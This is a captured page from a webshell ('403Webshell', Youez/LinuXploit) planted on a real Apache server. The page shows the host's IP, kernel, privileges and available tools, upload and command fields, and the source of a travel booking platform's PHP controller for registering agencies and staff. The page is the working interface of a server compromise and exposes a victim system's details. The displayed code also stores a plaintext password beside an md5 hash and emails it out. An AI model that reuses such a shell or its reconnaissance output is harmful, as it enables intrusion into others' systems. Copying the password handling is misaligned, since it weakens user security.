403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/controllers//PackageBookingController(tcs).php
<?php

function saveFranchiseeDetailsAction() {
    $this->_helper->layout->disableLayout();
    $this->_helper->viewRenderer->setNoRender(true);
    try {
        $objAgency = new Travel_Model_TblAgency();
        $sessionAgencyUser = $_SESSION['AgencyUser']['user'] ?? null;
        $IsCreateNewAgency = 0;
        if ($this->getRequest()->isXmlHttpRequest()) {
            $getData = $this->getRequest()->getParams();
            $agencyName = trim($getData['b2bagency_name'] ?? '');
            $email = $emailId = trim($getData['emailId'] ?? '');
            $countrycode = trim($getData['countrycode'] ?? '');
            $mobilenum = $mobileNo = trim($getData['mobilePhone'] ?? '');
            $panNo = !empty($getData['b2bagency_pan']) ? $this->sanitize_data($getData['b2bagency_pan']) : '';
            $gstNo = !empty($getData['b2bagency_gstin']) ? $this->sanitize_data($getData['b2bagency_gstin']) : '';
            $FirmType = $getData['FirmType'] ?? '';
            $DistributorId = $getData['DistributorId'] ?? '';
            $b2bDisplayName = trim($getData['b2bDisplayName'] ?? '');
            $reportsTo = trim($getData['reportsTo'] ?? '');
            $marketPlaceSysId = trim($getData['marketPlaceSysId'] ?? '');
            $IsB2BAgent = !empty($getData['is_btobagent']) ? (int) $this->sanitize_data($getData['is_btobagent']) : 0;
            $sessionLogin_user = new Zend_Session_Namespace('sessionLogin_user');
            $salution = $Salutation = $getData['Salutation'] ? $this->sanitize_data($getData['Salutation']) : 1;
            $fname = $first_name = $getData['first_name'] ? $this->sanitize_data($getData['first_name']) : '';
            $lname = $last_name = $getData['last_name'] ? $this->sanitize_data($getData['last_name']) : '';
            $staff_role = '';
            if ($IsB2BAgent != 0) {
                $agencyDetails = $objAgency->isB2BAgencyEmailExists($emailId, $this->intLoggedinUserAgencySysId, $IsB2BAgent);
                if (empty($agencyDetails)) {
                    $currentDate = date('Y-m-d H:i:s');
                    $countryIdU = $getData['staff_country_id'] ?? null;
                    $selectState = $getData['staff_state_id'] ?? null;
                    $cityIdU = $getData['staff_city_id'] ?? null;
                    $contactName = $getData['contact_name'] ?? null;
                    $shortDetail = $getData['shortDetail'] ?? null;
                    $BusinessType = $getData['BusinessType'] ?? null;
                    $IsPaid = $getData['IsPaid'] ?? 0;
                    $agencyData = [
                        'MasterAgencySysId' => $this->intLoggedinUserAgencySysId,
                        'agencyName' => $agencyName,
                        'DisplayName' => $b2bDisplayName,
                        'selectCountry' => $countryIdU,
                        'selectState' => $selectState,
                        'selectCity' => $cityIdU,
                        'contactName' => $contactName,
                        'emailId' => $emailId,
                        'mobileNo' => $mobileNo,
                        'countrycode' => $countrycode,
                        'shortDetail' => $shortDetail,
                        'PanCardNo' => $panNo,
                        'AdharCardNo' => '',
                        'AgencyMarketPlaceSysId' => $marketPlaceSysId,
                        'IsActive' => 1,
                        'CreateDate' => $currentDate,
                        'IsActiveSubscription' => 1,
                        'AgencyType' => $IsB2BAgent ?: 1,
                        'CurrencySysId' => $sessionLogin_user->intLoggedinUserTrxCurrency,
                        'Url' => $getData['Website'] ?? $sessionLogin_user->agencyDetails['Url'] ?? '',
                        'IsB2CSite' => $sessionLogin_user->agencyDetails['IsB2CSite'] ?? 0,
                        'IsB2bSiteURL' => $sessionLogin_user->agencyDetails['IsB2bSiteURL'] ?? '',
                        'IsB2bSite' => $sessionLogin_user->agencyDetails['IsB2bSite'] ?? 0,
                        'IsSSL' => $sessionLogin_user->agencyDetails['IsSSL'] ?? 0,
                        'IsB2bSSL' => $sessionLogin_user->agencyDetails['IsB2bSSL'] ?? 0,
                        'IsSiteType' => $sessionLogin_user->agencyDetails['IsSiteType'] ?? 0,
                        'IsWebSiteMapping' => 1,
                        'IsVarified' => 1,
                        'BusinessType' => $BusinessType,
                        'ServiceTaxNo' => $gstNo,
                        'FirmType' => $FirmType,
                        'IsPaid' => $IsPaid,
                        'DistributorId' => $DistributorId,
                    ];
                    $NewAgencySysId = $objAgency->registerAgency($agencyData, 1);
                    $agencyUserRoleArr = unserialize(AGENCY_USER_ROLE);
                    $agencyPrimaryUserRoleData = [
                        'AgencySysId' => $NewAgencySysId,
                        'RoleTitle' => $IsB2BAgent == 0 ? $agencyUserRoleArr[1] : $agencyUserRoleArr[0],
                        'IsAdmin' => 1,
                        'IsAbleToManageMember' => 1
                    ];
                    $objAgency->addUserRole($agencyPrimaryUserRoleData);
                } else {
                    $NewAgencySysId = $agencyDetails['AgencySysId'];
                }
            }
            $AgencySysId = $NewAgencySysId;
            if ($userSysId) {
                $agencyUserDataForDb = array(
                    'AgencySysId' => $AgencySysId,
                    'FirstName' => $first_name,
                    'LastName' => $last_name,
                    'UserRole' => $staff_role,
                    'EmailId' => $emailId,
                    'IsInsurance' => 0,
                    'AgencyName' => $b2bDisplayName,
                    'GSTIN' => $gstNo,
                    'PanNumber' => $panNo,
                    'ContactNo1' => $mobileNo,
                    'countrycode' => $countrycode,
                    'AgencyCode' => 0,
                    'UpdateDate' => $currentDate ? $currentDate : 0,
                    'ExtensionNo' => '',
                    'SenderEmailSysId' => 0,
                    'IsDisplayB2CWallet' => 0,
                    'IsSameEmailId' => 0,
                    'CountrySysId' => $countryIdU ? $this->sanitize_data($countryIdU) : '',
                    'CitySysId' => $cityIdU ? $this->sanitize_data($cityIdU) : '',
                    'PinCode' => $getData['postCode'] ? $this->sanitize_data($getData['postCode']) : '',
                    'Address' => $getData['staffAddress'] ? $this->sanitize_data($getData['staffAddress']) : '',
                    'Salutation' => $Salutation
                );
                $objStaff->editUserDetails($agencyUserDataForDb, $userSysId);

                if ($reportsTo != '') {
                    $reportsToEx = explode('__', $reportsTo);
                    $relationshipManager = isset($reportsToEx[1]) ? trim($reportsToEx[1]) : '';
                    $deptMappingArr = array(
                        'ReportingToSysId' => (int) $reportsToEx[0],
                        'IsMarkForDelete' => 0,
                        'IsActive' => 1,
                    );
                } else {
                    $deptMappingArr = array(
                        'IsMarkForDelete' => 1,
                        'IsActive' => 0,
                    );
                }
                $objStaff->editDeptUserMapping($deptMappingArr, $userSysId);
            } else if (!$objStaff->isUserEmailExists(trim($getData['emailId']), '', $AgencySysId, $IsB2BAgent)) {
                $currentDate = date('Y-m-d H:i:s');
                $oRandStrPass = Zend_Controller_Action_HelperBroker::getStaticHelper('General')->generateRandomString(5);
                $userDataSignature = $objStaff->getUserDataByUserId($this->intLoggedinUserId);
                $agencyUserDataForDb = array(
                    'AgencySysId' => $AgencySysId,
                    'Designation' => '',
                    'IsfromSM' => 0,
                    'SMTypeId' => 0,
                    'SMId' => 0,
                    'UserId' => 0,
                    'EmpId' => 0,
                    'JoinDate' => $currentDate ? $currentDate : 0,
                    'ExitDate' => 0,
                    'UserName' => 0,
                    'FirstName' => $first_name,
                    'LastName' => $last_name,
                    'UserRole' => $staff_role,
                    'IsInsurance' => 0,
                    'IsB2BAgent' => $IsB2BAgent,
                    'AgencyName' => $b2bDisplayName,
                    'GSTIN' => $gstNo,
                    'PanNumber' => $panNo,
                    'AgencyCode' => 0,
                    'UserAccessLevelType' => 0,
                    'Password' => md5($oRandStrPass),
                    'RandStr' => $oRandStrPass,
                    'PasswordExpiryDate' => 0,
                    'IsPswExpire' => 0,
                    'EmailId' => $emailId,
                    'LastLoginTime' => 0,
                    'IsLogInNow' => 0,
                    'CreatedByUserSysId' => (isset($this->MasterAgencySysId) && !empty($this->MasterAgencySysId)) ? $this->MasterAgencySysId : $this->intLoggedinUserAgencySysId,
                    'RandomCode' => 0,
                    'Gender' => 0,
                    'UserNickName' => 0,
                    'UserPicPath' => 0,
                    'ContactNo1' => $mobileNo,
                    'countrycode' => $countrycode,
                    'ContactNo2' => '',
                    'UserDetails' => '',
                    'MacIp' => 0,
                    'UpdateDate' => $currentDate,
                    'RegisterDate' => $currentDate,
                    'IsMarkForDel' => 0,
                    'IsActive' => 1,
                    'IsApproved' => 1,
                    'IsDisplayB2CWallet' => 0,
                    'Signature' => '',
                    'SenderEmailSysId' => 0,
                    'IsSameEmailId' => 0,
                    'CountrySysId' => $countryIdU ? $this->sanitize_data($countryIdU) : '',
                    'CitySysId' => $cityIdU ? $this->sanitize_data($cityIdU) : '',
                    'PinCode' => $getData['postCode'] ? $this->sanitize_data($getData['postCode']) : '',
                    'Address' => $getData['staffAddress'] ? $this->sanitize_data($getData['staffAddress']) : '',
                    'Salutation' => $salution,
                );
                $userSysId = $objStaff->addUserDetails($agencyUserDataForDb);
                if ($userSysId) {
                    $relationshipManager = '';
                    $reportsTo = (isset($getData['reportsTo']) && !empty($getData['reportsTo'])) ? trim($getData['reportsTo']) : '';
                    if ($reportsTo != '') {
                        $reportsToEx = explode('__', $reportsTo);
                        $relationshipManager = isset($reportsToEx[1]) ? trim($reportsToEx[1]) : '';
                        $deptMappingArr = array(
                            'UserSysId' => $userSysId,
                            'DeptSysId' => '',
                            'ReportingToSysId' => (int) $reportsToEx[0],
                            'RoleSysId' => 0,
                            'JoinDate' => $currentDate,
                            'ExitDate' => EMPTY_DATE,
                            'IsActive' => 1,
                            'IsMarkForDelete' => 0,
                            'IsApproved' => 1
                        );
                        $objStaff->addDeptUserMapping($deptMappingArr);
                    }

                    if ($IsB2BAgent != 0) {
                        $arrayData = array(
                            'PrimaryUserSysId' => $userSysId,
                            'Logo' => '',
                        );
                        if (isset($NewAgencySysId)) {
                            $objAgency->updateAgencyData($arrayData, $NewAgencySysId);
                        }

                        $this->_crmcustomerObj = new Travel_Model_CRM_Customer();
                        $this->_crmagencyleadaccountObj = new Travel_Model_CRM_AgencyLeadAccount();
                        $CRMCustSysId = "";
                        if (isset($email) && !empty($email)) {
                            $customerDetailsEmail = $this->_crmcustomerObj->ChkEmailWithResponseUpdate($email, $AgencySysId);
                        }
                        if (isset($mobilenum) && !empty($mobilenum)) {
                            $customerDetailsMobile = $this->_crmcustomerObj->ChkMobileWithResponse($mobilenum, $AgencySysId, '', $CRMCustSysId);
                        }
                        if (!empty($customerDetailsEmail) || !empty($customerDetailsMobile)) {
                            $status = 'success';
                            $CustomerSysId = isset($customerDetailsEmail['CustomerSysId']) ? $customerDetailsEmail['CustomerSysId'] : @$customerDetailsMobile['CustomerSysId'];
                        } else {
                            $status = 'failure';
                        }
                        if ($status == 'failure') {
                            $leadsourceTitle = 'Agency';
                            $intLeadSourceSysId = $this->_crmcustomerObj->getLeadSource($this->intLoggedinUserAgencySysId, $leadsourceTitle); // for Master LeadSouce Creation
                            $leadsource = (isset($intLeadSourceSysId[0]['LeadSourceSysId']) && !empty($intLeadSourceSysId[0]['LeadSourceSysId'])) ? $intLeadSourceSysId[0]['LeadSourceSysId'] : 0;
                            $userArray = array(
                                'AgencySysId' => $AgencySysId,
                                'EmailId' => $email,
                                'Salutation' => $getData['Salutation'] ? $this->sanitize_data($getData['Salutation']) : 1,
                                'PrimaryContactNumber' => $mobilenum ? $mobilenum : '',
                                'FullName' => $fname . ' ' . $lname,
                                'FirstName' => $fname,
                                'LastName' => $lname ? $lname : '',
                                'ActiveDate' => $currentDate,
                                'UpdatedDate' => $currentDate,
                                'CreatedDate' => $currentDate,
                                'IsApproved' => '1',
                                'IsActive' => '1',
                                'IsMarkForDelete' => '0'
                            );
                            //for create new customer
                            $CRMCustSysId = $this->_crmcustomerObj->addCustomer($userArray);
                            $userLeadArray = array(
                                'AgencySysId' => $AgencySysId,
                                'EmailId' => $email,
                                'Salutation' => $salution ? $salution : 1,
                                'PrimaryContactNumber' => $mobilenum ? $mobilenum : '',
                                'PrimaryContactNumber' => $countrycode ? $countrycode : '',
                                'FullName' => $fname . ' ' . $lname,
                                'FirstName' => $fname ? $fname : '',
                                'LastName' => $lname ? $lname : '',
                                'LeadSourceSysId' => $leadsource,
                                'LeadStageSysId' => "",
                                'AssignUserSysId' => $this->intLoggedinUserId,
                                'ActiveDate' => $currentDate,
                                'UpdatedDate' => $currentDate,
                                'CreatedDate' => $currentDate,
                                'IsApproved' => '1',
                                'IsActive' => '1',
                                'IsMarkForDelete' => '0',
                            );

                            //for create new customer
                            $AgencyCRMLeadSysId = $this->_crmagencyleadaccountObj->addCustomer($userLeadArray);
                            $agencyuserArray = array(
                                'AgencySysId' => $AgencySysId,
                                //'AgencySysId' => $this->intLoggedinUserAgencySysId,
                                'AgencyCRMLeadSysId' => $AgencyCRMLeadSysId,
                                'CRMCustSysId' => $CRMCustSysId,
                                'EmailId' => $email,
                                'Title' => $salution ? $salution : 1,
                                'Logo' => '',
                                'IsfromSM' => '0',
                                'UserId' => '0',
                                'CitySysId' => '',
                                'StateOrZoneSysId' => 0,
                                'CountrySysId' => '',
                                'IsEmployee' => '0',
                                'Contacts' => $mobilenum ? $mobilenum : '',
                                'countrycode' => $countrycode ? $countrycode : '',
                                'JoinDate' => $currentDate,
                                'UserName' => $fname . '' . $lname,
                                'FirstName' => $fname ? $fname : '',
                                'LastName' => $lname ? $lname : '',
                                'Relation' => '',
                                'PassportNo' => '',
                                'PassportExpiry' => '',
                                'DOB' => !empty($getData['DOB']) ? date('Y-m-d H:i:s', strtotime(str_replace('/', '-', $this->sanitize_data($getData['DOB'])))) : '',
                                'MarriageAnniversary' => '',
                                'CreatedByUserSysId' => $userSysId,
                                'RegisterDate' => $currentDate,
                                'UpdateDate' => $currentDate,
                                'IsApproved' => '0',
                                'IsActive' => '1',
                                'IsMarkForDelete' => '0',
                                'IsB2BAgent' => $IsB2BAgent,
                                'Password' => md5($oRandStrPass),
                            );
                            try {
                                $CustomerSysId = $this->_agencycustomerObj->addAgencyCustomer($agencyuserArray);
                            } catch (Zend_Exception $e) {
                                echo $e->getMessage();
                                exit;
                            }
                        }
                    }
                    //#end of add b2b customer
                    $url = $this->siteUrl . "login";
                    $SITE_NAME = (isset($sessionLogin_user->agencyDetails['DisplayName']) && $sessionLogin_user->agencyDetails['DisplayName'] != '') ? trim($sessionLogin_user->agencyDetails['DisplayName']) : SITE_NAME;
                    $subject = 'Staff Login Details for ' . $SITE_NAME;
                    $SITE_TITLE = SITE_TITLE;
                    $SITE_FULL_URL = SITE_FULL_URL;
                    $SMT_CREW = SMT_CREW;
                    $fromEmail = $this->fromEmail;
                    $fromName = $this->fromName;
                    $SUPPORT_PHONE_NUMBER1 = SUPPORT_PHONE_NUMBER1;
                    $SUPPORT_EMAIL = SUPPORT_EMAIL;
                    $logo = $SITE_FULL_URL . 'public/images/logo-client.jpg';
                    if ($IsB2BAgent == 2 || $sessionLogin_user->agencyDetails['IsDisplayHelloGTX'] == 1 || $IsB2BAgent == 3) {
                        $DisplayName = $sessionLogin_user->agencyDetails['DisplayName'];
                        $FirstName = $sessionLogin_user->agencyDetails['FirstName'];
                        $LastName = $sessionLogin_user->agencyDetails['LastName'];
                        $PrimaryEmail = $sessionLogin_user->agencyDetails['PrimaryEmail'];
                        $ContactInfo = $sessionLogin_user->agencyDetails['ContactInfo'];
                        $Logoname = $sessionLogin_user->agencyDetails['Logo'];
                        $IsB2bSiteURL = $sessionLogin_user->agencyDetails['IsB2bSiteURL'];
                        $SMT_CREW = $SITE_TITLE = $DisplayName;
                        $fromEmail = $PrimaryEmail;
                        $fromName = trim($FirstName . ' ' . $LastName);
                        $SUPPORT_EMAIL = $PrimaryEmail;
                        $SUPPORT_PHONE_NUMBER1 = $ContactInfo;
                        $logo = $SITE_FULL_URL . 'public/upload/media/agency/' . $this->intLoggedinUserAgencySysId . '/' . $Logoname;
                    }
                    $params = array('agentName' => ucfirst($first_name), 'emailId' => $emailId, 'url' => $url, 'password' => $oRandStrPass, 'SITE_FULL_URL' => $SITE_FULL_URL, 'SMT_CREW' => $SMT_CREW, 'SITE_TITLE' => $SITE_TITLE, 'SUPPORT_PHONE_NUMBER1' => $SUPPORT_PHONE_NUMBER1, 'SUPPORT_EMAIL' => $SUPPORT_EMAIL, 'logo' => $logo);
                    $html = new Zend_View();
                    $html->setScriptPath(APPLICATION_PATH . '/views/emails/');
                    $html->assign($params);
                    $bodyText = $html->render('agent_login.phtml');
                    $emailData11 = array('fromEmail' => $fromEmail, 'fromName' => $fromName, 'subject' => $subject, 'to' => array($emailId), 'bodyHtml' => $bodyText, 'bodyText' => '');
                    try {
                        $arrEmailStatisticsType = array_keys(unserialize(ARR_EMAIL_STATISTICS_TYPE));
                        $arrEmailStatistics = array(
                            "TPSysId" => 0,
                            "TypeSysId" => 1, // 1 For Email 2 For SMS
                            "AgencySysId" => $this->intLoggedinUserAgencySysId,
                            "AgentSysId" => $this->intLoggedinUserId,
                            "Title" => $bodyText,
                            "Source" => $arrEmailStatisticsType[2], // 1 For misc
                            "Status" => 0,
                            "RefSysId" => "",
                            "RefSysStatus" => "",
                            "CreateDate" => date('Y-m-d H:i:s')
                        );
                        if ($IsB2BAgent != 1) {
                            $ret = $this->mailSentByElastice($emailData11, $arrEmailStatistics, 1, $CustomerSysId);
                        }
                        if ($IsB2BAgent == 2 || $IsB2BAgent == 3) {
                            $getAgencyData = $objAgency->getAgencyData($AgencySysId);
                            $this->checkSecurity($getAgencyData['SecurityKey'], $sessionLogin_user->agencyDetails['SecurityKey']);
                            $this->checkSecurity($getAgencyData['SecurityKey'], $getAgencyData['SecurityKey']);
                        }
                    } catch (Exception $err) {
                        //echo 2;exit;
                    }
                }
                if ($IsCreateNewAgency > 0 && $NewAgencySysId > 0 && $this->intLoggedinUserAgencySysId == 102411) {
                    $paramAPI = array(
                        'agencyID' => $NewAgencySysId,
                        'agencyName' => $agencyName,
                        'agentName' => trim($first_name) . ' ' . trim($last_name),
                        'contactNumber' => trim($getData['mobilePhone']),
                        'agentEmail' => trim($getData['emailId']),
                        'relationshipManager' => "Admin",
                        'source' => "Agency",
                        'activeSince' => date('Y-m-d H:i'),
                    );
                    if ($IsCreateNewAgency == 1) {
                        Zend_Controller_Action_HelperBroker::getStaticHelper('Custom')->sendAgencyDataToAPI('insert', $paramAPI);
                    } else if ($IsCreateNewAgency == 2) {
                        $paramAPI = array(
                            'agencyID' => $NewAgencySysId,
                            'agencyName' => $agencyName,
                            'agentName' => trim($first_name) . ' ' . trim($last_name),
                            'contactNumber' => trim($getData['mobilePhone']),
                        );
                        Zend_Controller_Action_HelperBroker::getStaticHelper('Custom')->sendAgencyDataToAPI('update', $paramAPI);
                    }
                }
                $json = array('result' => 1, 'id' => base64_encode($userSysId));
                echo json_encode($json);
                exit;
            } else {
                echo json_encode(array('result' => 2));
                exit;
            }
        }
    } catch (Exception $e) {
        error_log("Error in saveFranchiseeDetailsAction: " . $e->getMessage());
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit